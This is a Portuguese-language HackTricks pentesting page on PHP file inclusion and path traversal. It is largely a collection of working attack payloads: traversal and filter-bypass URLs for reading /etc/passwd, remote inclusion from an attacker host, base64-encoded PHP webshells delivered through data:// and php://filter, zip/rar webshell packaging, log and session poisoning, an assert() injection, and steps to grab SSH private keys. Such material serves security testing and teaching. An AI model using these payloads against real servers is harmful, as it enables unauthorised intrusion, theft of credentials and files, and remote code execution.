Português - Ht
HackTricks Training Twitter Linkedin Sponsor

File Inclusion/Path traversal

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Percepções de Hacking Engaje-se com conteúdo que mergulha na emoção e desafios do hacking

Notícias de Hacking em Tempo Real Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e percepções em tempo real

Últimos Anúncios Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Inclusão de Arquivo

Inclusão de Arquivo Remoto (RFI): O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor irá executá-lo). Em php isso é desativado por padrão (allow_url_include). Inclusão de Arquivo Local (LFI): O servidor carrega um arquivo local.

A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.

Funções PHP vulneráveis: require, require_once, include, include_once

Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap

Cegos - Interessantes - Arquivos LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Misturando várias listas de LFI *nix e adicionando mais caminhos, criei esta:

LogoAuto_Wordlists/file_inclusion_linux.txt at main · carlospolop/Auto_WordlistsGitHub

Tente também trocar / por \ Tente também adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada aqui

Windows

Mesclagem de diferentes listas de palavras:

LogoAuto_Wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_WordlistsGitHub

Tente também trocar / por \ Tente também remover C:/ e adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada aqui

OS X

Verifique a lista de LFI do Linux.

LFI básico e bypasses

Todos os exemplos são para Inclusão de Arquivo Local, mas podem ser aplicados também à Inclusão de Arquivo Remoto (página=http://meuserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

sequências de travessia removidas de forma não recursiva

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Byte nulo (%00)

Burla a adição de mais caracteres no final da string fornecida (burla de: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Este problema foi resolvido desde o PHP 5.4

Codificação

Você poderia usar codificações não padrão como a codificação de URL dupla (e outras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Da pasta existente

Talvez o back-end esteja verificando o caminho da pasta:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorando Diretórios do Sistema de Arquivos em um Servidor

O sistema de arquivos de um servidor pode ser explorado de forma recursiva para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:

  1. Determinar a Profundidade do Diretório: Averiguar a profundidade do seu diretório atual ao obter com sucesso o arquivo /etc/passwd (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:

http://example.com/index.php?page=../../../etc/passwd # depth of 3

  1. Sonda de Pastas: Acrescente o nome da pasta suspeita (por exemplo, private) à URL, em seguida, navegue de volta para /etc/passwd. O nível adicional de diretório requer incrementar a profundidade em um:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4

  1. Interpretar os Resultados: A resposta do servidor indica se a pasta existe:

    • Erro / Sem Saída: A pasta private provavelmente não existe no local especificado.

    • Conteúdo de /etc/passwd: A presença da pasta private é confirmada.

  2. Exploração Recursiva: As pastas descobertas podem ser investigadas para subdiretórios ou arquivos adicionais usando a mesma técnica ou métodos tradicionais de Inclusão de Arquivos Locais (LFI).

Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil adequadamente. Por exemplo, para verificar se /var/www/ contém um diretório private (assumindo que o diretório atual está a uma profundidade de 3), use:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Técnica de Truncamento de Caminho

O truncamento de caminho é um método utilizado para manipular caminhos de arquivos em aplicações web. É frequentemente usado para acessar arquivos restritos, contornando certas medidas de segurança que acrescentam caracteres adicionais ao final dos caminhos de arquivos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.

Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd e /etc/passwd/ são tratados como o mesmo caminho.

  • Quando os últimos 6 caracteres são passwd, acrescentar um / (tornando-o passwd/) não altera o arquivo alvo.

  • Da mesma forma, se .php for acrescentado a um caminho de arquivo (como shellcode.php), adicionar um /. no final não alterará o arquivo sendo acessado.

Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar /etc/passwd, um alvo comum devido ao seu conteúdo sensível (informações de conta de usuário):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Em cenários como esses, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.

  • Usando Segmentos de Ponto e Caracteres Adicionais: Sequências de travessia (../) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.

  • Determinando o Número Necessário de Travessias: Através de tentativa e erro, é possível encontrar o número preciso de sequências ../ necessárias para navegar até o diretório raiz e depois para /etc/passwd, garantindo que quaisquer strings anexadas (como .php) sejam neutralizadas, mas o caminho desejado (/etc/passwd) permaneça intacto.

  • Começando com um Diretório Falso: É uma prática comum iniciar o caminho com um diretório inexistente (como a/). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.

Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.

Essa vulnerabilidade foi corrigida no PHP 5.3.

Truques de bypass de filtro

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Inclusão Remota de Arquivos

No php, isso é desativado por padrão porque allow_url_include está Off. Deve estar On para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se por algum motivo allow_url_include estiver Ativado, mas o PHP estiver filtrando o acesso a páginas da web externas, de acordo com este post, você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP b64 e obter RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

No código anterior, o +.txt final foi adicionado porque o atacante precisava de uma string que terminasse em .txt, então a string termina com isso e após a decodificação b64 essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).

Outro exemplo sem usar o protocolo php:// seria:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Elemento Raiz do Python

Em python em um código como este:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se o usuário passar um caminho absoluto para file_name, o caminho anterior é simplesmente removido:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

É o comportamento pretendido de acordo com a documentação:

Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente do caminho absoluto.

Listagem de Diretórios em Java

Parece que se você tiver uma Traversal de Caminho em Java e solicitar um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não acontecerá em outras linguagens (pelo que sei).

Top 25 parâmetros

Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando wrappers e protocolos PHP

php://filter

Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:

  • Filtros de String:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: Remove as tags dos dados (tudo entre os caracteres "<" e ">")

  • Note que este filtro desapareceu das versões modernas do PHP

  • Filtros de Conversão

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.*: Transforma para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>). Para obter a lista de todas as codificações suportadas, execute no console: iconv -l

Abusando do filtro de conversão convert.iconv.*, você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte LFI2RCE via php filters.

  • Filtros de Compressão

  • zlib.deflate: Comprime o conteúdo (útil se estiver extraindo muitas informações)

  • zlib.inflate: Descomprime os dados

  • Filtros de Criptografia

  • mcrypt.*: Obsoleto

  • mdecrypt.*: Obsoleto

  • Outros Filtros

  • Executando em PHP var_dump(stream_get_filters()); você pode encontrar alguns filtros inesperados:

  • consumed

  • dechunk: reverte a codificação chunked HTTP

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

A parte "php://filter" é case insensitive

Usando filtros php como oráculo para ler arquivos arbitrários

Neste post é proposta uma técnica para ler um arquivo local sem ter a saída retornada pelo servidor. Esta técnica é baseada em uma exfiltração booleana do arquivo (caractere por caractere) usando filtros php como oráculo. Isso ocorre porque os filtros php podem ser usados para tornar um texto grande o suficiente para fazer o php lançar uma exceção.

No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido:

  • Use o codec UCS-4LE para deixar o caractere principal do texto no início e fazer o tamanho da string aumentar exponencialmente.

  • Isso será usado para gerar um texto tão grande quando a letra inicial é adivinhada corretamente que o php irá acionar um erro

  • O filtro dechunk irá remover tudo se o primeiro caractere não for um hexadecimal, então podemos saber se o primeiro caractere é hexadecimal.

  • Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hexadecimal, dechunk não o deletará e a bomba inicial fará o php gerar um erro.

  • O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um a, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra não será mais um caractere hexadecimal, portanto dechunk não o deletará e o erro do php será acionado porque ele multiplica com a bomba inicial.

  • Usando outras transformações como rot13 no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).

  • Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.

  • O problema final é ver como vazar mais do que a letra inicial. Usando filtros de memória de ordem como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível alterar a ordem dos caracteres e obter em primeira posição outras letras do texto.

  • E para ser capaz de obter mais dados, a ideia é gerar 2 bytes de dados inúteis no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazê-lo pivô com os próximos 2 bytes, e excluir os dados até os dados inúteis (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para vazar.

No post, uma ferramenta para realizar isso automaticamente também foi vazada: php_filters_chain_oracle_exploit.

php://fd

Este wrapper permite acessar descritores de arquivo que o processo tem abertos. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Você também pode usar php://stdin, php://stdout e php://stderr para acessar os descritores de arquivo 0, 1 e 2 respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)

zip:// e rar://

Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o. Para poder abusar do protocolo rar, ele precisa ser ativado especificamente.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

A seguir, um exemplo de como explorar a vulnerabilidade de inclusão de arquivos usando o esquema data://:

  1. Primeiro, crie um arquivo de texto contendo o seguinte texto:

Conteúdo do arquivo incluído

  1. Em seguida, codifique o arquivo em base64. Você pode usar um site online ou um comando como o seguinte:

echo -n "Conteúdo do arquivo incluído" | base64

  1. Copie o conteúdo codificado em base64.

  2. Agora, você pode explorar a vulnerabilidade de inclusão de arquivos usando o esquema data:// da seguinte maneira:

data:text/plain;base64,Conteúdo_codificado_em_base64

Substitua Conteúdo_codificado_em_base64 pelo conteúdo que você copiou anteriormente.

Ao acessar o URL acima, o conteúdo do arquivo incluído será exibido no navegador.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Note que este protocolo é restrito pelas configurações do php allow_url_open e allow_url_include

expect://

O Expect deve estar ativado. Você pode executar código usando isso:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifique sua carga útil nos parâmetros POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Um arquivo .phar pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar o arquivo .phar, o seguinte comando deve ser executado:

php --define phar.readonly=0 create_path.php

Ao ser executado, um arquivo chamado test.phar será criado, o qual poderia ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).

Nos casos em que o LFI apenas realiza a leitura de arquivos sem executar o código PHP dentro deles, por meio de funções como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), a exploração de uma vulnerabilidade de desserialização poderia ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar.

Para uma compreensão detalhada de como explorar vulnerabilidades de desserialização no contexto de arquivos .phar, consulte o documento vinculado abaixo:

Guia de Exploração de Desserialização de Phar

pagephar:// deserialization

Mais protocolos

Confira mais possíveis protocolos para incluir aqui:

  • php://memory e php://temp — Escrever na memória ou em um arquivo temporário (não está claro como isso pode ser útil em um ataque de inclusão de arquivo)

  • file:// — Acessar o sistema de arquivos local

  • http:// — Acessar URLs HTTP(s)

  • ftp:// — Acessar URLs FTP(s)

  • zlib:// — Fluxos de compressão

  • glob:// — Encontrar caminhos que correspondem a um padrão (não retorna nada imprimível, então não é realmente útil aqui)

  • ssh2:// — Secure Shell 2

  • ogg:// — Fluxos de áudio (Não útil para ler arquivos arbitrários)

LFI via 'assert' do PHP

Os riscos de Inclusão de Arquivo Local (LFI) em PHP são especialmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contiver caracteres de travessia de diretório como ".." e não estiver sendo devidamente sanitizada.

Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretórios da seguinte forma:

assert("strpos('$file', '..') === false") or die("");

Embora isso tenha como objetivo impedir a travessia, acaba criando inadvertidamente um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:

' and die(highlight_file('/etc/passwd')) or '

Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:

' and die(system("id")) or '

É importante codificar esses payloads em URL.

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Percepções de Hacking Engaje-se com conteúdo que mergulha na emoção e desafios do hacking

Notícias de Hacking em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Traversão de Caminho PHP às Cegas

Essa técnica é relevante em casos onde você controla o caminho do arquivo de uma função PHP que irá acessar um arquivo mas você não verá o conteúdo do arquivo (como uma chamada simples para file()) mas o conteúdo não é mostrado.

Neste post incrível é explicado como uma travessia de caminho às cegas pode ser abusada via filtro PHP para exfiltrar o conteúdo de um arquivo via um oráculo de erro.

Em resumo, a técnica está usando a codificação "UCS-4LE" para tornar o conteúdo de um arquivo tão grande que a função PHP abrindo o arquivo irá acionar um erro.

Então, para vazar o primeiro caractere, o filtro dechunk é usado juntamente com outros como base64 ou rot13 e finalmente os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros caracteres no início e vazá-los.

Funções que podem ser vulneráveis: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (somente alvo somente leitura com isso), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Para os detalhes técnicos, confira o post mencionado!

LFI2RCE

Inclusão Remota de Arquivos

Explicado anteriormente, siga este link.

Via arquivo de log do Apache/Nginx

Se o servidor Apache ou Nginx for vulnerável a LFI dentro da função de inclusão, você pode tentar acessar /var/log/apache2/access.log ou /var/log/nginx/access.log, definir dentro do agente do usuário ou dentro de um parâmetro GET um shell php como <?php system($_GET['c']); ?> e incluir esse arquivo

Observe que se você usar aspas duplas para o shell em vez de aspas simples, as aspas duplas serão modificadas para a string "quote;", o PHP lançará um erro e nada mais será executado.

Além disso, certifique-se de escrever corretamente o payload ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.

Isso também poderia ser feito em outros logs, mas tenha cuidado, o código dentro dos logs poderia estar codificado em URL e isso poderia destruir o Shell. O cabeçalho autorização "básica" contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho. Outros possíveis caminhos de log:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Via Email

Envie um e-mail para uma conta interna (user@localhost) contendo sua carga útil PHP como <?php echo system($_REQUEST["cmd"]); ?> e tente incluir no e-mail do usuário com um caminho como /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Faça upload de muitas shells (por exemplo: 100)

  2. Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser forçado bruto) e $FD o descritor de arquivo (também pode ser forçado bruto)

Via /proc/self/environ

Como um arquivo de log, envie a carga útil no User-Agent, ela será refletida dentro do arquivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se você pode fazer upload de um arquivo, basta injetar o payload do shell nele (por exemplo: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf

Via upload de arquivo Zip

Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Através de sessões PHP

Verifique se o site utiliza Sessão PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Em PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Defina o cookie para <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilize o LFI para incluir o arquivo de sessão PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa

Via vsftpd logs

Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que existe uma vulnerabilidade de Inclusão de Arquivo Local (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:

  1. Injete um payload PHP no campo de nome de usuário durante o processo de login.

  2. Após a injeção, utilize o LFI para recuperar os logs do servidor em /var/log/vsftpd.log.

Via filtro php base64 (usando base64)

Conforme mostrado neste artigo, o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para burlar a verificação de extensão de arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e acrescenta "php" ao base64. Aqui está um exemplo de payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Através de filtros php (sem necessidade de arquivo)

Este writeup explica que você pode usar filtros php para gerar conteúdo arbitrário como saída. O que basicamente significa que você pode gerar código php arbitrário para a inclusão sem precisar escrevê-lo em um arquivo.

pageLFI2RCE via PHP Filters

Através de falha de segmentação

Faça upload de um arquivo que será armazenado como temporário em /tmp, então na mesma requisição, acione uma falha de segmentação, e então o arquivo temporário não será excluído e você pode procurá-lo.

pageLFI2RCE via Segmentation Fault

Através do armazenamento de arquivos temporários do Nginx

Se você encontrou uma Inclusão de Arquivo Local e o Nginx está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:

pageLFI2RCE via Nginx temp files

Através do PHP_SESSION_UPLOAD_PROGRESS

Se você encontrou uma Inclusão de Arquivo Local mesmo se você não tiver uma sessão e session.auto_start estiver Off. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS nos dados multipart POST, o PHP irá ativar a sessão para você. Você poderia abusar disso para obter RCE:

pageLFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Através de uploads de arquivos temporários no Windows

Se você encontrou uma Inclusão de Arquivo Local e o servidor está rodando no Windows, você pode obter RCE:

pageLFI2RCE Via temp file uploads

Através do phpinfo() (file_uploads = on)

Se você encontrou uma Inclusão de Arquivo Local e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:

pageLFI2RCE via phpinfo()

Através de compress.zlib + PHP_STREAM_PREFER_STUDIO + Divulgação de Caminho

Se você encontrou uma Inclusão de Arquivo Local e você pode exfiltrar o caminho do arquivo temporário MAS o servidor está verificando se o arquivo a ser incluído tem marcas PHP, você pode tentar burlar essa verificação com essa Condição de Corrida:

pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Através de espera eterna + força bruta

Se você puder abusar do LFI para fazer upload de arquivos temporários e fazer o servidor travar a execução do PHP, você poderia então forçar nomes de arquivos por horas para encontrar o arquivo temporário:

pageLFI2RCE via Eternal waiting

Para Erro Fatal

Se você incluir qualquer um dos arquivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Você precisa incluir o mesmo duas vezes para lançar esse erro).

Eu não sei como isso é útil, mas pode ser. Mesmo se você causar um Erro Fatal do PHP, os arquivos temporários do PHP enviados são excluídos.

Referências

Junte-se ao HackenProof Discord server para se comunicar com hackers experientes e caçadores de bugs!

Percepções de Hacking Engaje-se com conteúdo que mergulha na emoção e desafios do hacking

Notícias de Hacking em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais de plataformas

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

PreviousEmail InjectionsNextphar:// deserialization

Last updated